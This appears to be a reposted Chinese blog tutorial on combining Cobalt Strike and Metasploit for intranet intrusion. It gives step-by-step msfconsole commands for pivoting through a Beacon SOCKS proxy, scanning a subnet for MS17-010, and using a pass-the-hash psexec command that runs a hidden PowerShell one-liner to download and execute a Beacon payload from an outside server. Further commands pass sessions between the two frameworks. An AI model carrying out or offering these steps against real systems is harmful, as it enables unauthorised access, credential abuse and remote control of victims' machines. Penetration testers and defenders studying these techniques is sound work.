• CobaltStrike与Metasploit实战联动


    前言

    CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。

    内置Socks功能

    通过Beacon内置的socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透。

    当然,也可以把代理设置在其他的工具上,不限于Proxychains、Proxifier等

    首先,到已控目标机的Beacon下将socks代理开启。

    1
    beacon > socks 1024 #端口根据VPS实际情况进行设置

    image-20191101135627154

    点开菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中。

    image-20191210220800309

    本地启动Metasploit,挂上代理,就可以对目标内网进行各种探测搜集。如 探测目标内网中存在MS17_010漏洞的主机,这也是内网拿主机权限利用方式之一。

    1
    msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)
    2
    msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
    3
    msf5 > use auxiliary/scanner/smb/smb_ms17_010
    4
    msf5 > set rhosts 192.168.144.0/24
    5
    msf5 > set threads 100 #内网渗透时线程不要太高!
    6
    msf5 > run

    image-20191031212332738

    利用MSF模块上线Beacon shell

    当通过其它方式拿到了目标内网中某台Windows机器的本地管理员明文密码或hash时,可利用Metasploit下auxiliary/admin/smb/psexec_command模块,直接上线指定目标机器的Beacon shell。(前提目标机可出网)

    先利用CobalStrike生成上线Beacon的powershell。

    image-20191210233357244

    本地启动Metasploit,挂上代理,设置psexec_command模块参数。

    1
    msf5 > setg Proxies socks4/5:ip:port
    2
    msf5 > use auxiliary/admin/smb/psexec_command
    3
    msf5 > set rhosts 192.168.144.0/24
    4
    msf5 > set threads 10
    5
    msf5 > set smbuser administrator
    6
    msf5 > set smbpass aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 #明文、密文均可
    7
    msf5 > set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://149.28.xx.xx:80/a'))" #上线CS的powershell,目标机存在杀软需考虑
    8
    msf5 > run

    image-20191210230311310

    最终,只要密码一致、 能出网,且未被杀软阻止的均会成功上线。

    CS与MSF会话互传

    CobaltStrike派生Metasploit

    当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:

    1
    msf5 > use exploit/multi/handler
    2
    msf5 > set payload windows/meterpreter/reverse_tcp #不要用x64的payload
    3
    msf5 > set lhost 10.11.42.99
    4
    msf5 > set lport 5353
    5
    msf5 > run -j

    image-20191021161800914

    之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口。

    image-20191021162507473

    然后选中计算机,右键->Spawn:选择MSF的监听器:

    image-20191203200239148

    这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。

    image-20191021163101989

    Metasploit派生CobaltStrike

    现在已经获得了一个meterpreter的session,把session传给CobaltStrike。

    image-20191021161002473

    在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike客户端IP,创建好之后便监听8099端口,等待着被控机连接。

    image-20191021160546360

    接下来,把meterpreter获得的session转交给CobaltStrike,在Metasploit执行以下命令:

    1
    meterpreter > background 
    2
    msf5 > use exploit/windows/local/payload_inject 
    3
    msf5 > set payload windows/meterpreter/reverse_http
    4
    msf5 > set lhost 192.168.144.174
    5
    msf5 > set lport 8099
    6
    msf5 > set DisablePayloadHandler true   
    7
    msf5 > set session 1
    8
    msf5 > run

    解释一下这些参数。由于CobaltStrike的监听器我们使用的是:

    windows/beacon_http/reverse_http

    所以我们的payload也要使用:

    payload windows/meterpreter/reverse_http

    设置本地监听IP和端口:由于监听器是CobaltStrike的,所以要设置成CobaltStrike机器的IP与端口。

    默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:

    set DisablePayloadHandler true

    设置当前的session,执行run。

    image-20191021160652347

    此时目标机便已成功从CobaltStrike上线。

    image-20191021160701228

    总结

    关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。

  • 相关阅读:
    leetcode 75 颜色分类 A
    leetcode525连续数组 A
    WCF无身份验证配置
    三读设计模式
    EntityFrameWork+Oracle学习笔记搭配环境(一)
    EntityFrameWork+Oracle学习笔记DBfirst(二)
    用Python解答百度测试开发算法面试题
    Python实现采集wordpress整站数据的爬虫
    吾八哥学Python(六):运算符与表达式
    吾八哥学Python(四):了解Python基础语法(下)
  • 原文地址:https://www.cnblogs.com/nongchaoer/p/12055317.html
Copyright © 2020-2023  润新知